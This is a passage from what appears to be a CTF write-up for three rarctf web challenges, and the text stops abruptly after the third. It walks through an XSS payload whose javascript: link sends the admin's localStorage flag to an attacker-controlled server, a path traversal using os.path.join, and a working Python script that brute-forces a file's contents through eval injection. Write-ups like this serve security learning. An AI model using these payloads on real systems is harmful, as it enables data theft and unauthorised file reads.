Fancy Button Generator // FBG

A simple xss challenge with the slightest of twists: instead of stealing admin cookies, you’re stealing admin’s localstorage values. This was possible because the admin, which was a puppetteer chrome browser, was operating in no-sandbox mode.

Insert as your payload:

title: eh
link: javascript:fetch('your.server?fleg='%2B(window.localStorage.getItem("flag")));

And report to admin. Careful with the wait times…

NOTE: I first-blooded this challenge before certain measures were implemented. There were some issues with FBG throughout the competition that involved the organizers making amendments and introducing a pow to help with the stability of the infrastructure. I’m not aware of how the solution would have looked with the accompanying pow, unfortunately.

flag: rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}

Secure Uploader

In the provided source, observe this piece of code:

@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404
    with open(os.path.join("uploads/", res[0]), "r") as f:
        return (os.path.join("uploads/", res[0]))

python’s os.path.join is a unique thing: its purpose is to concat the provided parameters, appending one after the other with a / character in between. As an example, os.path.join('foo','bar') would produce foo/bar. However, specify an absolute filepath as a parameter, and everything before that string will be erased. So, os.path.join('foo', '/bar') would produce just /bar. We can use this knowledge to provide to the challenge a filename such as //flag which will resolve to retrieve the flag kept in the root directory of the docker container hosting the challenge.

flag: rarctf{4lw4y5_r34d_th3_d0c5_pr0p3rly!-71ed16}

MAAS 1 // Calculator

The first part of “Microservices as a Service” was a challenge that involved improper use of the python function eval(). For those unaware, eval() takes as a parameter a string representing code. For example, eval('print("hello")') would return hello in your console. Obviously, not a very safe function to use.

In the provided source, we see some very interesting code in arithmetic/app.py:

@app.route('/arithmetic', methods=["POST"])
def arithmetic():
    if request.form.get('add'):
        r = requests.get(f'http://arithmetic:3000/add?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('sub'):
        r = requests.get(f'http://arithmetic:3000/sub?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('div'):
        r = requests.get(f'http://arithmetic:3000/div?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    elif request.form.get('mul'):
        r = requests.get(f'http://arithmetic:3000/mul?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
    result = r.json()
    print(result)
    res = result.get('result')
    if not res:
        return str(result.get('error'))
    try:
        res_type = type(eval(res))
        if res_type is int or res_type is float:
            return str(res)
        else:
            return "Result is not a number"
    except NameError:
        return "Result is invalid"

This would run when you perform any arithmetic action using the calculator in the website. When using the calculator, if you try to do an addition formula like “1+1”, the returned result isn’t 2, but “11”. Why is that?

The program passes your code into eval() (in the try statement), but the result of that eval() isn’t returned anywhere. If the eval’d result was an integer, then the string that was passed as a parameter to eval() would be returned, hence why “11” is returned as the result of “1+1”. However, eval() is called nonetheless, and we can use this to our advantage.

First and foremost, if the result of the eval was a number (int or float), then the string is returned. Else, “Result is not a number” or “Result is invalid” is returned. We could use this as a boolean condition with the following string:

eval("1 if (open('../flag.txt','r').read(-1).startswith('rarctf{')) else 'false'")

We can instead put this as our “arithmetic” equation. Since the POST request made to the endpoint requires 2 params to be operated on, “n1” and “n2”, split this statement into 2 arbitrary halves and put 1 half into the “n1” param, and the other into the “n2” param.

What this does is it calls eval() once more, but in this 2nd call we have more freedom to stipulate what can be evaluated. The param to the inner eval() is just an if statement that returns the integer 1 if (open('../flag.txt','r').read(-1).startswith('rarctf{')) returns the boolean value true, or returns the string 'false' if the statement returns the boolean value false.

Therefore, if the contents of flag.txt start with the prefix “rarctf{", then the eval() functions will return 1, and the maas program would return the whole string as a result. If it doesn’t start with that prefix, then the eval() functions would return the string ‘false’ and the if statement that checks the res_type would not return our string. From here, we can just continue to add characters to the prefix to brute-force the value of the flag that way: if we get back our string, then the character we guessed is in the flag. If we get back either “Result is not a number” or “Result is invalid” (or just if the response text has the keyword “Result”), then the character we guessed is not in the flag.

import requests

url = "https://maas.rars.win/calculator"

alphabet = 'abcdefghijklmnopqrstuvwxyz1234567890_-{}'

prefix = 'rarctf{'

#I just chose 40 arbitrarily. If the flag was longer, I would have increased the range.
for index in range(0, 40):
    for c in alphabet:
        # It uses the python builtin function open to retrieve the contents of /flag.txt, then reads it
        # if the contents of said flag.txt contain the prefix (and we add the current character after the prefix), it returns true
        req = "eval(\"1 if (open('../flag.txt','r').read(-1).startswith('" + prefix + c + "')) else 'false'\""
        # I split the string between the n1 and n2 params arbitrarily. It doesnt matter how you split them.
        data = {"mode": "arithmetic", "n1": req, "add": "+", "n2": ")"}
        resp = requests.post(url, data)
        # If we dont find the word "Result" in the response to our request above, then that means the character we guessed is in the flag!
        if (resp.text.find("Result") == -1) and (resp.status_code != 500):
            # Add the correctly guessed character to the string amd move on to the next char
            prefix += c
            print(prefix)
            continue

flag: rarctf{0v3rk1ll_4s_4_s3rv1c3_3fca0faa}

Part 2!

Vie